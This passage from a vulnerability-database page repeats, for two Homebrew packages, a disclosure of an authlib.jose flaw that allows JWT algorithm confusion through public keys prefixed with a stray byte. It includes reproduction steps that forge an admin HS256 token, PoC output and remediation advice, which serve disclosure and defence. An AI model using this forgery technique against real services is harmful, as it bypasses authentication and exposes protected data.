]
}
BREW-OMNARA-CVE-2026-114615 (GHSA-7VR2-2FGP-9W7P)
Vulnerability from osv_homebrew – Published: 2026-10-29 22:13 – Updated: 2026-10-29 22:13 – Source websiteSummary
OctKey.import_key() carries the only guard that stops an asymmetric public key from being used as an
HMAC secret in authlib.jose. That guard is raw_key.startswith(POSSIBLE_UNSAFE_KEYS) — anchored at
byte 0 — while the loader that consumes the identical bytes on the asymmetric path
(cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate)
skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one
leading byte — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is
therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the
issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as
authentic.
This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly
this guard (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py returns a single
commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the
original attack works again unchanged whenever the stored PEM does not start at offset 0.
Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main
(c529a61), with cryptography 50.0.2.
Preconditions
Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction.
- The relying party uses the documented module-level
jwtobject.from authlib.jose import jwtis built atauthlib/jose/__init__.py:55-72with the full list["HS256","HS384","HS512","RS256",...,"EdDSA"], andJsonWebToken.decode(authlib/jose/rfc7519/jwt.py:80) exposes noalgorithmsparameter, so a caller of the documented object has no way to narrow it. This is the first code sample indocs/jose/jwt.rst:21-31.
This hazard is already documented: docs/jose/jwt.rst:73-79 says
"This decoding method is insecure. By default jwt.decode parses the alg header. This allows
symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never
combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is
not that the mixed list exists — it is that the oct_key.py:81 backstop shipped for precisely
that documented hazard does not hold.
- The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with
-----BEGIN. Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken: - one leading newline — what a triple-quoted Python literal produces
- one leading space
- four-space indentation — an indented YAML/JSON/TOML config block
- a UTF-8 BOM — a Windows-editor artifact
- a leading comment line
- all of the above applied to an X.509
CERTIFICATEPEM instead of aPUBLIC KEYPEM
A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap.
Details
authlib/jose/rfc7518/oct_key.py:10-17
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)
authlib/jose/rfc7518/oct_key.py:78-84
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
key = cls(raw_key=raw_key, options=options)
bytes.startswith is anchored. The loader on the asymmetric path is not:
authlib/jose/rfc7517/_cryptography_key.py:22-29 calls load_pem_public_key /
load_pem_x509_certificate, both of which scan forward for the armour header. So the set of byte
strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference
is exploitable.
Reach, for a caller of the documented object:
authlib/jose/rfc7518/jws_algs.py:59—HMACAlgorithm.prepare_key(raw_data)returnsOctKey.import_key(raw_data); this is the whole of the HMAC key handling.authlib/jose/rfc7519/jwt.py:80—JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); the algorithm comes from the token header and is checked only against the instance's list.authlib/jose/__init__.py:55-72— that list contains both HS* and RS*/ES*/PS*/EdDSA.
So oct_key.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC
secret, and it is bypassed by a single leading byte.
PoC
poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented
jwt.decode(token, PUBLIC_KEY), where PUBLIC_KEY is the issuer's RSA public key embedded as a
triple-quoted Python literal (hence one leading newline). The attacker is given only that public
key.
authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]
algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])
[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError
ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')
The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation.
Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes:
### RSA-2048/RS256
canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError
indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin
[CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError
### EC-P256/ES256
identical results for all seven rows
Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
Steps to reproduce
pip install authlib==1.8.0 cryptography flask requests- Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline (or indent it, or prepend a BOM or a comment line).
- Confirm
authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYSdoes not match those bytes withstartswith, whilecryptography.hazmat.primitives.serialization.load_pem_public_keyloads them. from authlib.jose import jwtthentok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)jwt.decode(tok, mutated_pem)— verification succeeds and the claims are returned.
Impact
Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm
confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by
definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with
arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP
200 and the application's admin secrets for sub=attacker.
Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent,
read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented
footgun it backstops.
Two notes for triage, in the interest of completeness:
authlib.joseemitsAuthlibDeprecationWarning("please use joserfc instead. It will be compatible before version 2.0.0"). It is deprecated but still shipped, still documented indocs/jose/jwt.rst, and still carries the download volume above.- joserfc is not affected by this mechanism. 1.7.5 was checked: keys carry an explicit
ktyin the data model, sojwt.decodewith anRSAKey/ECKeyandalg=HS256raisesInvalidKeyTypeErrorfor every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what makes the class unrepresentable there.
Suggested remediation
Either of these closes the class rather than one more byte form:
- Decide key family by type, not by bytes. Attempt
load_pem_public_key/load_pem_x509_certificate/load_ssh_public_key/load_der_public_keyon the candidate and reject it as anoctkey if any of them succeeds. This is the approach that makes joserfc immune and it cannot drift out of step with the loader, because it is the loader. - If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check
(
any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) and add the-----BEGIN CERTIFICATE-----and DERSubjectPublicKeyInfocases. This is strictly weaker than (1): the recogniser can drift again the next timecryptographybecomes more tolerant.
Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter
would let callers of the documented module-level object apply the mitigation the docs recommend without
constructing a second JsonWebToken.
Credit
Found by zer0d4y5. Happy to test a patch branch before release.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "authlib",
"resource_purl": "pkg:pypi/authlib@1.6.6",
"upstream_fixed_in": "1.9.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "omnara",
"purl": "pkg:brew/omnara"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/authlib@1.6.6",
"name": "authlib",
"resource": "authlib",
"strategy": "registry",
"subject_version": "1.6.6"
}
]
},
"details": "## Summary\n\n`OctKey.import_key()` carries the only guard that stops an asymmetric public key from being used as an\nHMAC secret in `authlib.jose`. That guard is `raw_key.startswith(POSSIBLE_UNSAFE_KEYS)` \u2014 anchored at\nbyte 0 \u2014 while the loader that consumes the identical bytes on the asymmetric path\n(`cryptography.hazmat.primitives.serialization.load_pem_public_key` / `load_pem_x509_certificate`)\nskips anything before the `-----BEGIN` line. A PEM public key or X.509 certificate carrying **one\nleading byte** \u2014 a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line \u2014 is\ntherefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the\nissuer\u0027s public key then mints an `HS256` token with arbitrary claims that `jwt.decode()` accepts as\nauthentic.\n\nThis is an incomplete fix of **CVE-2024-37568 / GHSA-5357-c2jx-v7qh**. That advisory\u0027s fix is exactly\nthis guard (`git log -S \u0027POSSIBLE_UNSAFE_KEYS\u0027 -- authlib/jose/rfc7518/oct_key.py` returns a single\ncommit, `3bea812` \"fix: prevent OctKey to import ssh/rsa/pem keys\", referencing issue #654), and the\noriginal attack works again unchanged whenever the stored PEM does not start at offset 0.\n\nReproduced end-to-end on **1.8.0**, the newest release (published 2026-08-30), and on `origin/main`\n(`c529a61`), with `cryptography` 50.0.2.\n\n## Preconditions\n\nBoth are deployment properties; neither is attacker-controlled at request time, and the attacker needs\nno secret and no user interaction.\n\n1. **The relying party uses the documented module-level `jwt` object.** `from authlib.jose import jwt`\n is built at `authlib/jose/__init__.py:55-72` with the full list\n `[\"HS256\",\"HS384\",\"HS512\",\"RS256\",...,\"EdDSA\"]`, and `JsonWebToken.decode`\n (`authlib/jose/rfc7519/jwt.py:80`) exposes **no `algorithms` parameter**, so a caller of the\n documented object has no way to narrow it. This is the first code sample in\n `docs/jose/jwt.rst:21-31`.\n\n This hazard is already documented: `docs/jose/jwt.rst:73-79` says\n \"This decoding method is insecure. By default `jwt.decode` parses the alg header. This allows\n symmetric macs and asymmetric signatures.\", and `docs/jose/jwt.rst:94-98` says \"You should never\n combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes.\" The point of this report is\n **not** that the mixed list exists \u2014 it is that the `oct_key.py:81` backstop shipped for precisely\n that documented hazard does not hold.\n\n2. **The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with\n `-----BEGIN `.** Each of the following forms was confirmed to forge, and each also still verifies a\n genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:\n * one leading newline \u2014 what a triple-quoted Python literal produces\n * one leading space\n * four-space indentation \u2014 an indented YAML/JSON/TOML config block\n * a UTF-8 BOM \u2014 a Windows-editor artifact\n * a leading comment line\n * all of the above applied to an X.509 `CERTIFICATE` PEM instead of a `PUBLIC KEY` PEM\n\n A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric\n verification through this path, so I exclude it as a non-deployable configuration and mention it\n only as further evidence of the recogniser/loader gap.\n\n## Details\n\n`authlib/jose/rfc7518/oct_key.py:10-17`\n\n```python\nPOSSIBLE_UNSAFE_KEYS = (\n b\"-----BEGIN \",\n b\"---- BEGIN \",\n b\"ssh-rsa \",\n b\"ssh-dss \",\n b\"ssh-ed25519 \",\n b\"ecdsa-sha2-\",\n)\n```\n\n`authlib/jose/rfc7518/oct_key.py:78-84`\n\n```python\nraw_key = to_bytes(raw)\n\n# security check\nif raw_key.startswith(POSSIBLE_UNSAFE_KEYS):\n raise ValueError(\"This key may not be safe to import\")\n\nkey = cls(raw_key=raw_key, options=options)\n```\n\n`bytes.startswith` is anchored. The loader on the asymmetric path is not:\n`authlib/jose/rfc7517/_cryptography_key.py:22-29` calls `load_pem_public_key` /\n`load_pem_x509_certificate`, both of which scan forward for the armour header. So the set of byte\nstrings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference\nis exploitable.\n\nReach, for a caller of the documented object:\n\n* `authlib/jose/rfc7518/jws_algs.py:59` \u2014 `HMACAlgorithm.prepare_key(raw_data)` returns\n `OctKey.import_key(raw_data)`; this is the whole of the HMAC key handling.\n* `authlib/jose/rfc7519/jwt.py:80` \u2014 `JsonWebToken.decode(self, s, key, claims_cls=None,\n claims_options=None, claims_params=None)`; the algorithm comes from the token header and is checked\n only against the instance\u0027s list.\n* `authlib/jose/__init__.py:55-72` \u2014 that list contains both HS\\* and RS\\*/ES\\*/PS\\*/EdDSA.\n\nSo `oct_key.py:81` is the only thing between a mixed allow-list and using the public key as an HMAC\nsecret, and it is bypassed by a single leading byte.\n\n## PoC\n\n`poc-authlib-e2e-http.py` stands up a Flask API whose only authentication is the documented\n`jwt.decode(token, PUBLIC_KEY)`, where `PUBLIC_KEY` is the issuer\u0027s RSA public key embedded as a\ntriple-quoted Python literal (hence one leading newline). The attacker is given **only** that public\nkey.\n\n```\nauthlib=1.8.0 cryptography=50.0.2 flask=3.1.3\nguard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)\ncall = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]\nalgs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])\n\n[baseline 1] genuine RS256 token, role=user -\u003e (403, \u0027{\"error\":\"not admin\",\"sub\":\"alice\"}\u0027)\n[baseline 2] genuine RS256 token, role=admin -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"root\"}\u0027)\n[CONTROL 1 ] payload tampered, RS256 sig kept -\u003e (401, \u0027{\"error\":\"BadSignatureError: bad_signature: \"}\u0027)\n[CONTROL 2 ] HS256 forged with CANONICAL pubkey -\u003e BLOCKED at key import: ValueError: This key may not be safe to import\n[CONTROL 3 ] JsonWebToken([\u0027RS256\u0027]) vs forged token -\u003e REJECTED: UnsupportedAlgorithmError\n\nATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.\nforged token header: {\u0027alg\u0027: \u0027HS256\u0027, \u0027typ\u0027: \u0027JWT\u0027}\n[ATTACK ] HS256 forged with the PUBLIC key -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"attacker\"}\u0027)\n```\n\nThe three controls establish that the guard does work on a canonical PEM (so the leading byte is\nload-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an\neffective mitigation.\n\nPer-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds\non the exact same bytes:\n\n```\n### RSA-2048/RS256\n canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError\n indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin\n [CONTROL C] JsonWebToken([\u0027RS256\u0027]).decode(forged HS256) -\u003e REJECTED:UnsupportedAlgorithmError\n\n### EC-P256/ES256\n identical results for all seven rows\n\nSame five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.\n```\n\n### Steps to reproduce\n\n1. `pip install authlib==1.8.0 cryptography flask requests`\n2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline\n (or indent it, or prepend a BOM or a comment line).\n3. Confirm `authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS` does not match those bytes with\n `startswith`, while `cryptography.hazmat.primitives.serialization.load_pem_public_key` loads them.\n4. `from authlib.jose import jwt` then\n `tok = jwt.encode({\"alg\":\"HS256\"}, {\"sub\":\"attacker\",\"role\":\"admin\"}, mutated_pem)`\n5. `jwt.decode(tok, mutated_pem)` \u2014 verification succeeds and the claims are returned.\n\n## Impact\n\nCryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm\nconfusion). An unauthenticated attacker who knows only the issuer\u0027s public verification key \u2014 public by\ndefinition, normally served at `/.well-known/jwks.json` or in IdP metadata \u2014 forges tokens with\narbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP\n200 and the application\u0027s admin secrets for `sub=attacker`.\n\nAuthlib had **103,356,930** PyPI downloads in the last month (pypistats `/api/packages/authlib/recent`,\nread 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented\nfootgun it backstops.\n\nTwo notes for triage, in the interest of completeness:\n\n* `authlib.jose` emits `AuthlibDeprecationWarning` (\"please use joserfc instead. It will be compatible\n before version 2.0.0\"). It is deprecated but still shipped, still documented in `docs/jose/jwt.rst`,\n and still carries the download volume above.\n* **joserfc is not affected by this mechanism.** 1.7.5 was checked: keys carry an explicit `kty` in the\n data model, so `jwt.decode` with an `RSAKey`/`ECKey` and `alg=HS256` raises `InvalidKeyTypeError` for\n every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what\n makes the class unrepresentable there.\n\n## Suggested remediation\n\nEither of these closes the class rather than one more byte form:\n\n1. Decide key family by **type, not by bytes**. Attempt `load_pem_public_key` /\n `load_pem_x509_certificate` / `load_ssh_public_key` / `load_der_public_key` on the candidate and\n reject it as an `oct` key if any of them succeeds. This is the approach that makes joserfc immune and\n it cannot drift out of step with the loader, because it *is* the loader.\n2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check\n (`any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)`) and add the `-----BEGIN CERTIFICATE-----` and\n DER `SubjectPublicKeyInfo` cases. This is strictly weaker than (1): the recogniser can drift again\n the next time `cryptography` becomes more tolerant.\n\nSeparately, and independent of this report: giving `JsonWebToken.decode` an `algorithms=` parameter\nwould let callers of the documented module-level object apply the mitigation the docs recommend without\nconstructing a second `JsonWebToken`.\n\n## Credit\n\nFound by zer0d4y5. Happy to test a patch branch before release.",
"id": "BREW-omnara-CVE-2026-114615",
"modified": "2026-10-29T22:13:09Z",
"published": "2026-10-29T22:13:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114615"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys",
"upstream": [
"GHSA-7vr2-2fgp-9w7p",
"CVE-2026-114615"
]
}
BREW-OTERM-CVE-2026-114615 (GHSA-7VR2-2FGP-9W7P)
Vulnerability from osv_homebrew – Published: 2026-10-29 21:42 – Updated: 2026-10-29 21:42 – Source websiteSummary
OctKey.import_key() carries the only guard that stops an asymmetric public key from being used as an
HMAC secret in authlib.jose. That guard is raw_key.startswith(POSSIBLE_UNSAFE_KEYS) — anchored at
byte 0 — while the loader that consumes the identical bytes on the asymmetric path
(cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate)
skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one
leading byte — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is
therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the
issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as
authentic.
This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly
this guard (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py returns a single
commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the
original attack works again unchanged whenever the stored PEM does not start at offset 0.
Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main
(c529a61), with cryptography 50.0.2.
Preconditions
Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction.
- The relying party uses the documented module-level
jwtobject.from authlib.jose import jwtis built atauthlib/jose/__init__.py:55-72with the full list["HS256","HS384","HS512","RS256",...,"EdDSA"], andJsonWebToken.decode(authlib/jose/rfc7519/jwt.py:80) exposes noalgorithmsparameter, so a caller of the documented object has no way to narrow it. This is the first code sample indocs/jose/jwt.rst:21-31.
This hazard is already documented: docs/jose/jwt.rst:73-79 says
"This decoding method is insecure. By default jwt.decode parses the alg header. This allows
symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never
combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is
not that the mixed list exists — it is that the oct_key.py:81 backstop shipped for precisely
that documented hazard does not hold.
- The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with
-----BEGIN. Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken: - one leading newline — what a triple-quoted Python literal produces
- one leading space
- four-space indentation — an indented YAML/JSON/TOML config block
- a UTF-8 BOM — a Windows-editor artifact
- a leading comment line
- all of the above applied to an X.509
CERTIFICATEPEM instead of aPUBLIC KEYPEM
A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap.
Details
authlib/jose/rfc7518/oct_key.py:10-17
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)
authlib/jose/rfc7518/oct_key.py:78-84
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
key = cls(raw_key=raw_key, options=options)
bytes.startswith is anchored. The loader on the asymmetric path is not:
authlib/jose/rfc7517/_cryptography_key.py:22-29 calls load_pem_public_key /
load_pem_x509_certificate, both of which scan forward for the armour header. So the set of byte
strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference
is exploitable.
Reach, for a caller of the documented object:
authlib/jose/rfc7518/jws_algs.py:59—HMACAlgorithm.prepare_key(raw_data)returnsOctKey.import_key(raw_data); this is the whole of the HMAC key handling.authlib/jose/rfc7519/jwt.py:80—JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); the algorithm comes from the token header and is checked only against the instance's list.authlib/jose/__init__.py:55-72— that list contains both HS* and RS*/ES*/PS*/EdDSA.
So oct_key.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC
secret, and it is bypassed by a single leading byte.
PoC
poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented
jwt.decode(token, PUBLIC_KEY), where PUBLIC_KEY is the issuer's RSA public key embedded as a
triple-quoted Python literal (hence one leading newline). The attacker is given only that public
key.
authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]
algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])
[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError
ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')
The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation.
Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes:
### RSA-2048/RS256
canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError
indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin
[CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError
### EC-P256/ES256
identical results for all seven rows
Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
Steps to reproduce
pip install authlib==1.8.0 cryptography flask requests- Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline (or indent it, or prepend a BOM or a comment line).
- Confirm
authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYSdoes not match those bytes withstartswith, whilecryptography.hazmat.primitives.serialization.load_pem_public_keyloads them. from authlib.jose import jwtthentok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)jwt.decode(tok, mutated_pem)— verification succeeds and the claims are returned.
Impact
Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm
confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by
definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with
arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP
200 and the application's admin secrets for sub=attacker.
Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent,
read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented
footgun it backstops.
Two notes for triage, in the interest of completeness:
authlib.joseemitsAuthlibDeprecationWarning("please use joserfc instead. It will be compatible before version 2.0.0"). It is deprecated but still shipped, still documented indocs/jose/jwt.rst, and still carries the download volume above.- joserfc is not affected by this mechanism. 1.7.5 was checked: keys carry an explicit
ktyin the data model, sojwt.decodewith anRSAKey/ECKeyandalg=HS256raisesInvalidKeyTypeErrorfor every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what makes the class unrepresentable there.
Suggested remediation
Either of these closes the class rather than one more byte form:
- Decide key family by type, not by bytes. Attempt
load_pem_public_key/load_pem_x509_certificate/load_ssh_public_key/load_der_public_keyon the candidate and reject it as anoctkey if any of them succeeds. This is the approach that makes joserfc immune and it cannot drift out of step with the loader, because it is the loader. - If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check
(
